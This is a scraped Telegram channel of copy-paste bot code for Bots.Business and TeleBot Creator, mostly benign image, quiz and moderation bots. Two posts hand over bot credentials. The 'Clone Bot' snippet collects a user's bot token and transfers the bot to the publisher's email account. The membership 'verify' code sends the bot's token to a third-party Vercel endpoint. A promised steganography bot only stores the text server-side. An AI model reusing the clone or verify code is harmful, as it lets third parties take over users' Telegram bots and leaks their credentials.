Bot Nations 🚀
17.1K subscribers
18 photos
1 video
3 files
53 links
🖐🏻 Welcome to “Bot Nations”!

🤖 Hello, Everyone! Here, I’ll Teach You How To Create Telegram Bots.

➡ Join Our Discussion Group: @Private_Bots_Chats

📞 For Sponsorships, Ads, or Promotions, Contact Us At @PB_Sponsorship.
Download Telegram
📢 Multiple Channel Membership Verification Code [Bots.Business]

💓 Command: /verify

🔍 BJS Code:

// Check if the request content is empty
if (!content) {
  // List of channels to verify membership
  var channel = ["@botnations", "@PB_Sponsorship"];

  // HTTP request to verify membership
  HTTP.post({
    url: "https://verify-membership-coding-with-mohits-projects.vercel.app/verify-membership",
    body: {
      botToken: bot.token, // Bot token for verification
      chatIds: channel,    // Chat IDs (channels to check)
      userId: user.telegramid // Telegram user ID
    },
    success: "/verify" // Callback function on success
  });

  return;
}

// Parse the response and check membership status
var status = JSON.parse(content).joinedAllChats;

if (status == true) {
  // User has joined all required channels
  Bot.sendMessage("✅ Thank you for joining the channels! 🎉\n\n🔖 *Copyright:* @botnations");
  return;
}

// If the user hasn't joined all channels
Bot.sendMessage("⚠️ You must join all required channels to proceed! 🚫\n\n🔖 *Copyright:* @botnations");


👨‍💻 Created By: @Swastik_Raj 
🎖 API By:
@Mohit_Kr_Mishra
© Copyright:
@botnations 

📢 Feel free to share and give credit if you use this in your channel!
👍11🔥4
Are you interested in an image encoder/decoder bot?

With this tool, you can easily hide text within an image.
👍11❤4🔥2
Bot Nations 🚀
Are you interested in an image encoder/decoder bot? With this tool, you can easily hide text within an image.
💬 Encode  Decode Hidden Messages in Images [Telebot Creator Code]

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

▎👻 Command: /encode

☢️ TPY:
bot.sendMessage("Please send the image you want to encode your message into.")
Bot.handleNextCommand("/get_encode_image")

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

▎👻 Command: /get_encode_image

☢️ TPY:
if not message.photo:
    bot.sendMessage("Please send a valid image.")
    Bot.handleNextCommand("get_encode_image")
else:
    image_id = message.photo[-1].file_id
    User.saveData("pending_encode_image", image_id)
    bot.sendMessage("Great! Now send the hidden text message.")
    Bot.handleNextCommand("/get_hidden_text")

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

▎👻 Command: /get_hidden_text

☢️ TPY:
image_id = User.getData("pending_encode_image")
if not image_id:
    bot.sendMessage("No image found. Please start again with /encode.")
else:
    Bot.saveData(f"hidden_text:{image_id}", msg)
    bot.sendMessage("Your message has been successfully saved for this image!")

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

▎👻 Command: /decode

☢️ TPY:

bot.sendMessage("Please send the image to decode its hidden message.")
Bot.handleNextCommand("/get_decode_image")


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

▎👻 Command: /get_decode_image

☢️ TPY:
if not message.photo:
    bot.sendMessage("Please send a valid image.")
    Bot.handleNextCommand("get_decode_image")
else:
    image_id = message.photo[-1].file_id
    hidden_text = Bot.getData(f"hidden_text:{image_id}")

    if hidden_text:
        bot.sendMessage(f"Hidden message:\n\n{hidden_text}")
    else:
        bot.sendMessage("No hidden message found for this image.")

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👨‍💻 Created By: @Swastik_Raj 
© Copyright: @botnations 
📢 Share and give credit if using on your channel!
👍6❤5👌2
Comment some other bot ideas!
⚡4
Bot Nations 🚀
Comment some other bot ideas!
I’ll definitely work on bringing your bot idea to life!
🤩3
This media is not supported in your browser
VIEW IN TELEGRAM
“BHHAARRAAT MMMAAATTTAA KIIIII JAAAYYYY 🇮🇳🫡”
🔥34❤6🎉3🫡2👍1🐳1💯1
🫡
❤50🫡13⚡3🔥2👌2👍1
🇮🇳✨ Vote if you stand with India!
anonymous poll

🙋‍♂️ I stand! – 179
👍👍👍👍👍👍👍 78%

🚫 I'm not! – 50
👍👍 22%

👥 229 people voted so far.
👍33❤8🥰4🔥2👌2🎉1
🦑 Clone Bot To Other's Account (It Will Run By Default;No Need Run It Manually. [Telebot Codes]

💓 Command: Your Command

🔍 TPY:
bot.sendMessage(text="Sᴇɴᴅ Bᴏᴛ Tᴏᴋᴇɴ Tᴏ Cʟᴏɴᴇ  Aɴ Bᴏᴛ")
Bot.handleNextCommand("/clone")


💓 Command: /clone

🔍 TPY:
try:
    Bot Transfer(email="swastikraj12567@gmail com", bot_id="83628", bot_token=message text, run_now=True)
    # Email: You need to put your email where you want your all clients' bot adds
    # bot_id: Put your bot ID to copy a bot Don't share bot ID with others
    bot sendMessage("Bot Started Successfully")
except Exception as e:
    bot sendMessage("An error occurred: " + str(e))

⚡ Mᴀᴋᴇᴅ Bʏ:
@Flash_Ninja
📰 Publisher:
@Swastik_Raj

✅ Pʟs Gɪᴠᴇ Us Cʀᴇᴅɪᴛ Tᴏ Sᴇɴᴅ Oᴜʀ Cᴏᴅᴇ Iɴ Cʜᴀɴɴᴇʟ...
👍9👌4❤‍🔥1
🌩 Boost Channel Task Code

💡 Command :- ⚡ Boost (optional)

username = 'kevinbots' # enter your channel username without @
button = InlineKeyboardMarkup()
button.add(InlineKeyboardButton(text='⚡ Boost',url=f'https://t.me/boost/{username}'))

if message.chat.type != 'private':
raise ReturnCommand

User.saveData('boost', False)
bot.sendMessage(chat_id=u,text='⚡ <b>Boost this channel to help it unlock additional features.\n\n💰 Reward:</b> <i>$0.5</i>',parse_mode='html',reply_markup=button)


💡 Command :- /handler_chat_boost (required)

channel = 'kevinbots' # enter your channel username without @
if message and message['chat']['username'].lower() == channel.lower():
userid = message['boost']['source']['user']['id']
balance = libs.Resources.anotherRes('balance',user=userid)
boost = User.getData('boost',user=userid)
if boost == None:
raise ReturnCommand
if boost == False:
if User.getData('boosted',user=userid) != True:
User.saveData('boosted',data=True,user=userid)
User.saveData('boost',data=True,user=userid)
balance.add(0.5)
bot.sendMessage(chat_id=userid,text='💰 <b>Congratulations, $0.5 Added To Your Balance.</b>',parse_mode='html')
else:
bot.sendMessage(chat_id=userid,text='👍 <b>You have already helped boost our channel.</b>',parse_mode='html')


🗣️ Code by: @Coder_Kevin
🔖 Posted by: @KevinBots
❤10👍7
⛓ Auto Bed Time 💤🕓 BJS:- It's Working Between 12:00 AM to 6:00 AM (Indian Time).

❤️ Command:- @

☣ BJS:-
function getIndianTime() {
var now = new Date()
var options = {
timeZone: "Asia/kolkata",
hour12: true,
hour: "numeric",
minute: "numeric",
second: "numeric"
}
return now.toLocaleString("en-US", options)
}
function isRestricted() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
return currentHour >= 0 && currentHour < 6 // Returns true if it's between 12:00 AM and 6:00 AM Indian time
}
if (isRestricted()) {
informRestrictedTime()
} else {
}
function informRestrictedTime() {
var remainingTime = getRemainingTime()
var up =
"<b>🛏️ It's bedtime, so this bot is currently unavailable..</>\n━━━━━━━━━•❅•°•❈•°•❅•━━━━━━━━━\n<b>⌛ Remaining Time:</> <code>" +
remainingTime +
"</>\n━━━━━━━━━•❅•°•❈•°•❅•━━━━━━━━━\n<b>😎 Please Come Back After Bed Time.</>"
var bob = [[{ text: "🔄 Refresh", callback_data: "8388" }]]
if (request.message_id) {
Api.sendMessage({
text: up,
parse_mode: "html",
reply_markup: { inline_keyboard: bob }
})
return
}
Api.editMessageText({
message_id: request.message.message_id,
text: up,
parse_mode: "html",
disable_web_page_preview: true,
reply_markup: { inline_keyboard: bob }
})
}
function getRemainingTime() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
if (currentHour < 6) {
var remainingHours = 6 - currentHour
var remainingMinutes = 60 - bdTime.getMinutes()
var remainingSeconds = 60 - bdTime.getSeconds()
return (
remainingHours +
" hours, " +
remainingMinutes +
" minutes, " +
remainingSeconds +
" seconds"
)
} else {
return "Come back later"
}
}


✅ Developed By:- SowRov
🧑‍💻 Edited By:-
@Private_Projector
👍10❤8🔥4
T2I.php
36.5 KB
📌 Here's the source code of a text-to-image unlimited generation website! 🖼️✨ 


🔗 Demo: Click here 🔥 
⚡ Most of the APIs provided by @kaiiddo 💡 
12👍15❤8🔥4🥰1🆒1
💬 Adorable Random Neko Image Bot 🐱✨ 
[Bots Business Code]

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

🌸 Command: /neko 

📝 BJS:

HTTP.get({
  url: "https://nekos.life/api/v2/img/neko",
  success: "/onNekoSuccess",
  error: "/onNekoError"
});


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

📥 Command: /onNekoSuccess 

📝 BJS:

let data = JSON.parse(content);
let imageUrl = data.url;

Api.sendPhoto({
  photo: imageUrl,
  caption: "😸 Here's a delightful neko image just for you!"
});


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

⚠️ Command: /onNekoError 

📝 BJS:

Bot.sendMessage("❌ Failed to fetch neko image. Please try again later!");


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

👨‍💻 Created By: @Swastik_Raj 
© Copyright: @botnations 
📢 Love anime? Share this with your friends and remember to give credit if you use it on your channel!
❤12👍3🔥1
🚀 Looking to boost your channel subscribers? 🚀

Get ready to welcome over 100 genuine users daily! 🌟

Hurry, there’s only 1 seat left!

📩 DM @swastik_raj now to secure your spot and watch your channel grow! 📈✨
❤9🎉4
Do u want albert quiz bot???
Final Results
79%
Yes
21%
No
❤9👍7
Bot Nations 🚀
Do u want albert quiz bot???
💡 Fun Quiz Challenge Bot [Bots Business Code]

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

🎯 Command: /quiz

📝 BJS:

// Send quiz intro message
Bot.sendMessage("*🌟 New Quiz Alert! Ready to test your knowledge? 📚*");

// Start the quiz process
function startQuiz() {
  var apiUrl = "https://opentdb.com/api.php?amount=1";

  // Indicate typing action to the user
  Api.sendChatAction({
    chat_id: chat.chatid,
    action: "typing"
  });

  // Fetch quiz data from OpenTDB API
  HTTP.get({
    url: apiUrl,
    success: "/onQuiz",   // Command to handle quiz data response
    error: "/onError"     // Command to handle error
  });
}

startQuiz();


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

📥 Command: /onQuiz

📝 BJS:

// Parse the API response
var response = JSON.parse(content);

// Check if quiz data is available
if (response.response_code === 0 && response.results.length > 0) {
  var quiz = response.results[0];

  var question = "🎯 " + quiz.question;
  var correctAnswer = quiz.correct_answer;
  var options = quiz.incorrect_answers.concat(correctAnswer);

  // Shuffle options randomly
  options = options.sort(function() {
    return Math.random() - 0.5;
  });

  // Send quiz poll
  Api.sendPoll({
    chat_id: chat.chatid,
    question: question,
    options: options,
    type: "quiz",
    correct_option_id: options.indexOf(correctAnswer),
    explanation: "✅ The correct answer is: *" + correctAnswer + "*",
    is_anonymous: false
  });

  // Store data in user properties for later use if needed
  User.setProperty("quiz_question", question, "string");
  User.setProperty("correct_answer", correctAnswer, "string");

  // Send follow-up message with button
  Api.sendMessage({
    chat_id: chat.chatid,
    text: "🔍 Want to explore more quizzes? 🌟",
    reply_markup: {
      inline_keyboard: [
        [
          { text: "🔍 Search More", callback_data: "/quiz" }
        ]
      ]
    }
  });

} else {
  // In case of no data or error in response
  Bot.sendMessage("⚠️ Unable to fetch quiz. Please try again later.");
}


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

⚠️ Command: /onError

📝 BJS:

Bot.sendMessage("❌ Failed to load quiz. Please try again later.");


➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

👨‍💻 Created By: @Swastik_Raj 
© Copyright: @botnations 
📢 Love anime? Share this with your friends and remember to give credit if you use it on your channel!
1❤12🫡3👍2
🎨 AI Image Generator Bot [TeleBot Creator Code]

➖➖➖➖➖➖➖➖➖➖➖➖➖➖

🌟 Command: /T2I 
📌 Try It Like This: /T2I car or /T2I a robot dancing in the rain

❓ Requested by: Ducky

💡Bots Business Version: https://t.me/BotNations/297?comment=155735


📝 TPY: 
prompt = params  
if not prompt: 
    bot.sendMessage("❗ Please provide a prompt like: /T2I car with a car best friend") 
    raise ReturnCommand() 

# Show chat action while image is generating 
bot.sendChatAction("upload_photo") 

# Generate image URL 
img_url = f"https://botmaker.serv00.net/pollination.php?prompt={prompt}" 

# Build caption with prompt 
caption = f"🖼️ *AI Art Prompt:*\n\n{prompt}\n\n✨ *Your image has been generated!*" 

# Send AI-generated image 
bot.sendPhoto(img_url, caption=caption, parse_mode="Markdown")


➖➖➖➖➖➖➖➖➖➖➖➖➖➖

👨‍💻 Created By: @Swastik_Raj 
© Copyright: @botnations 
📢 Love anime? Share this with your friends and remember to give credit if you use it on your channel!
❤16👍3
I'm thinking about starting to upload tutorials on my YouTube channel again! 🎥✨

What topics would you like to see in those videos? Please let me know in the comments! ⬇️
❤12
🤖 AutoKicker tpy code

when user leave your channel bot ban him from channel automatically


Command : /handler_chat_member

# Command: /handler_chat_member

if update_type == 'chat_member':
chat_id = message.chat.id
user = message.new_chat_member.user
user_id = user.id

if message.new_chat_member.status == 'left':
try:
# Remove (kick) the user from the channel
bot.kickChatMember(
chat_id=chat_id,
user_id=user_id,
until_date=0 # Remove without ban, can rejoin
)
except Exception as e:
pass # Ignore errors silently


📱 Made by : @a1mbo
🌐 Website : Telebotcreator.com


Plz 🙏 share with credit 😭
❤11👍2